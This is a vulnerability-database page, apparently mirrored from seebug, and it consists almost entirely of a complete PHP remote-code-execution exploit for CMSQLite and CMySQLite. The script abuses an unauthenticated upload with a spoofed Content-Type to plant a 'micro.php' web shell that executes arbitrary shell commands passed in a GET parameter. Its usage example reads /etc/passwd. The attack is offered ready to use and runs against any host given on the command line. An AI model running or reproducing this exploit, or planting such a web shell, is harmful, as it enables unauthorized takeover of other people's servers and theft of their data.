Lucene search
K

CMSQLite <= 1.2 & CMySQLite <= 1.3.1 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code Execution Exploi

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;
CMSQLite &#60;= 1.2 & CMySQLite &#60;= 1.3.1 Remote Code Execution Exploit
by BlackHawk &#60;hawkgotyou gmail com&#62; &#60;http://twitter.com/itablackhawk&#62;
Thanks to rgod for the php code and Natural Killer

&#34;;
if ($argc&#60;4) {
echo &#34;Usage: php &#34;.$argv[0].&#34; Host Path CMD
Host:          target server (ip/hostname)
Path:          path of CMSQLite / CMySQLite
CMD:           A Shell Command

Example:
php &#34;.$argv[0].&#34; localhost /template/ cat /etc/passwd&#34;;

die;
}
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);


/*
Explanation:

No check of user rights when uploading a file, and file type is checked via
HTTP header Content-Type, wich can be different to the real.

exploit creates a micro.php shell on target site

*/

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];

$cmd=&#34;&#34;;
for ($i=3; $i&#60;=$argc-1; $i++){
$cmd.=&#34; &#34;.$argv[$i];
}
$port=80;
$proxy=&#34;&#34;;

$cmd=urlencode($cmd);
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo &#34;- Uploading Shell Creator..\r\n&#34;;

$data=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;fileName\&#34;; filename=\&#34;oh_my_shell.php\&#34;\r\n&#34;;
$data.=&#34;Content-Type: application/zip\r\n\r\n&#34;;
$data.=&#34;&#60;?php
\$fp=fopen(&#39;micro.php&#39;,&#39;w&#39;);
fputs(\$fp,&#39;&#60;?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
\$_GET[cmd]=stripslashes(\$_GET[cmd]);
}
echo 666999;
passthru(\$_GET[cmd]);
echo 666999;
?&#62;&#39;);
fclose(\$fp);
chmod(&#39;micro.php&#39;,777);
?&#62;\r\n&#34;;
$data.=&#39;-----------------------------7d529a1d23092a
Content-Disposition: form-data; name=&#34;upload&#34;

1
-----------------------------7d529a1d23092a--
&#39;;
$packet=&#34;POST &#34;.$p.&#34;admin/mediaAdmin.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/example.html\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

echo &#34;- Creating the Shell..\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;media/oh_my_shell.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(3);

echo &#34;- Execute Commands..\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;media/micro.php?cmd=$cmd HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (strstr($html,&#34;666999&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;666999&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16